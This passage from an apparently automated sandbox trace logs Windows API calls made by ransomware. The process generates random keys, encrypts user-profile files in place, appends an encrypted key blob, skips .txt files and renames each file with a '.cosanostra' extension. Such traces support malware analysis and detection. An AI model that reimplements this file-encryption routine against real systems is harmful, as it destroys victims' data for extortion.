lpNumberOfBytesWritten=0x28df6b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6b4*=0x30, lpOverlapped=0x0) returned 1 [0091.789] CloseHandle (hObject=0x138) returned 1 [0091.789] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.cosanostra") returned 108 [0091.789] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.cosanostra" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk.cosanostra")) returned 1 [0091.825] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6f0 | out: pbBuffer=0x28df6f0) returned 1 [0091.825] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6e8*=0x30) returned 1 [0091.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0091.828] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk") returned 122 [0091.828] StrStrW (lpFirst="Windows Media Player.lnk", lpSrch=".txt") returned 0x0 [0091.832] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff9f5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.832] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x60b, lpNumberOfBytesWritten=0x28df6ac, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6ac*=0x60b, lpOverlapped=0x0) returned 1 [0091.832] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.833] WriteFile (in: hFile=0x138, lpBuffer=0x28df6ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6ac, lpOverlapped=0x0 | out: lpBuffer=0x28df6ec*, lpNumberOfBytesWritten=0x28df6ac*=0x4, lpOverlapped=0x0) returned 1 [0091.833] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6ac*=0x30, lpOverlapped=0x0) returned 1 [0091.833] CloseHandle (hObject=0x138) returned 1 [0091.833] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk.cosanostra") returned 133 [0091.833] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk.cosanostra" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk.cosanostra")) returned 1 [0091.834] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6e8 | out: pbBuffer=0x28df6e8) returned 1 [0091.835] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6e0*=0x30) returned 1 [0091.835] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0091.835] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk") returned 118 [0091.835] StrStrW (lpFirst="Windows Explorer.lnk", lpSrch=".txt") returned 0x0 [0091.885] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffb34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.885] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x4cc, lpNumberOfBytesWritten=0x28df6a4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6a4*=0x4cc, lpOverlapped=0x0) returned 1 [0091.885] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.885] WriteFile (in: hFile=0x138, lpBuffer=0x28df6e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6a4, lpOverlapped=0x0 | out: lpBuffer=0x28df6e4*, lpNumberOfBytesWritten=0x28df6a4*=0x4, lpOverlapped=0x0) returned 1 [0091.886] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6a4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6a4*=0x30, lpOverlapped=0x0) returned 1 [0091.886] CloseHandle (hObject=0x138) returned 1 [0091.886] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.cosanostra") returned 129 [0091.886] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.cosanostra" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk.cosanostra")) returned 1 [0091.887] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6e8 | out: pbBuffer=0x28df6e8) returned 1 [0091.887] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6e0*=0x30) returned 1 [0091.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0091.887] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned 119 [0091.887] StrStrW (lpFirst="Internet Explorer.lnk", lpSrch=".txt") returned 0x0 [0091.888] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa57, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.888] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x5a9, lpNumberOfBytesWritten=0x28df6a4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6a4*=0x5a9, lpOverlapped=0x0) returned 1 [0091.889] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.889] WriteFile (in: hFile=0x138, lpBuffer=0x28df6e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6a4, lpOverlapped=0x0 | out: lpBuffer=0x28df6e4*, lpNumberOfBytesWritten=0x28df6a4*=0x4, lpOverlapped=0x0) returned 1 [0091.889] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6a4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6a4*=0x30, lpOverlapped=0x0) returned 1 [0091.889] CloseHandle (hObject=0x138) returned 1 [0091.889] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.cosanostra") returned 130 [0091.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.cosanostra" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk.cosanostra")) returned 1 [0091.890] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6e0 | out: pbBuffer=0x28df6e0) returned 1 [0091.890] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6d8*=0x30) returned 1 [0091.890] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0091.890] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 109 [0091.890] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0091.891] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff2d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.891] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xd3, lpNumberOfBytesWritten=0x28df69c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df69c*=0xd3, lpOverlapped=0x0) returned 1 [0091.891] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.891] WriteFile (in: hFile=0x138, lpBuffer=0x28df6dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df69c, lpOverlapped=0x0 | out: lpBuffer=0x28df6dc*, lpNumberOfBytesWritten=0x28df69c*=0x4, lpOverlapped=0x0) returned 1 [0091.891] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df69c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df69c*=0x30, lpOverlapped=0x0) returned 1 [0091.892] CloseHandle (hObject=0x138) returned 1 [0091.892] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.cosanostra") returned 120 [0091.892] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini.cosanostra")) returned 1 [0091.893] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6e0 | out: pbBuffer=0x28df6e0) returned 1 [0091.893] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6d8*=0x30) returned 1 [0091.893] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.893] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6d8 | out: pbBuffer=0x28df6d8) returned 1 [0091.893] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6d0*=0x30) returned 1 [0091.893] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.894] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6d0 | out: pbBuffer=0x28df6d0) returned 1 [0091.894] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6c8*=0x30) returned 1 [0091.894] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.894] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6d0 | out: pbBuffer=0x28df6d0) returned 1 [0091.895] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6c8*=0x30) returned 1 [0091.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.895] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6c8 | out: pbBuffer=0x28df6c8) returned 1 [0091.895] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6c0*=0x30) returned 1 [0091.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0091.895] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 95 [0091.895] StrStrW (lpFirst="Shows Desktop.lnk", lpSrch=".txt") returned 0x0 [0091.896] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffede, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.896] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x28df684, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df684*=0x122, lpOverlapped=0x0) returned 1 [0091.896] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.896] WriteFile (in: hFile=0x138, lpBuffer=0x28df6c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df684, lpOverlapped=0x0 | out: lpBuffer=0x28df6c4*, lpNumberOfBytesWritten=0x28df684*=0x4, lpOverlapped=0x0) returned 1 [0091.896] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df684, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df684*=0x30, lpOverlapped=0x0) returned 1 [0091.897] CloseHandle (hObject=0x138) returned 1 [0091.897] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.cosanostra") returned 106 [0091.897] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.cosanostra" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk.cosanostra")) returned 1 [0091.897] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6c8 | out: pbBuffer=0x28df6c8) returned 1 [0091.897] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6c0*=0x30) returned 1 [0091.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0091.898] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 89 [0091.898] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0091.954] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff6e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.954] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0x28df684, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df684*=0x92, lpOverlapped=0x0) returned 1 [0091.954] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.954] WriteFile (in: hFile=0x138, lpBuffer=0x28df6c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df684, lpOverlapped=0x0 | out: lpBuffer=0x28df6c4*, lpNumberOfBytesWritten=0x28df684*=0x4, lpOverlapped=0x0) returned 1 [0091.954] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df684, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df684*=0x30, lpOverlapped=0x0) returned 1 [0091.954] CloseHandle (hObject=0x138) returned 1 [0091.954] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.cosanostra") returned 100 [0091.954] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini.cosanostra")) returned 1 [0091.955] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6c0 | out: pbBuffer=0x28df6c0) returned 1 [0091.955] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6b8*=0x30) returned 1 [0091.955] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\.." (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.983] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6c0 | out: pbBuffer=0x28df6c0) returned 1 [0091.983] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6b8*=0x30) returned 1 [0091.983] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\." (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.987] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6b8 | out: pbBuffer=0x28df6b8) returned 1 [0091.987] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6b0*=0x30) returned 1 [0091.987] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.052] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned 105 [0092.052] StrStrW (lpFirst="94308059B57B3142E455B38A6EB92015", lpSrch=".txt") returned 0x0 [0092.052] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.052] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df674, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df674*=0x0, lpOverlapped=0x0) returned 1 [0092.052] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.052] WriteFile (in: hFile=0x154, lpBuffer=0x28df6b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df674, lpOverlapped=0x0 | out: lpBuffer=0x28df6b4*, lpNumberOfBytesWritten=0x28df674*=0x4, lpOverlapped=0x0) returned 1 [0092.054] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df674, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df674*=0x30, lpOverlapped=0x0) returned 1 [0092.054] CloseHandle (hObject=0x154) returned 1 [0092.055] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015.cosanostra") returned 116 [0092.055] MoveFileW 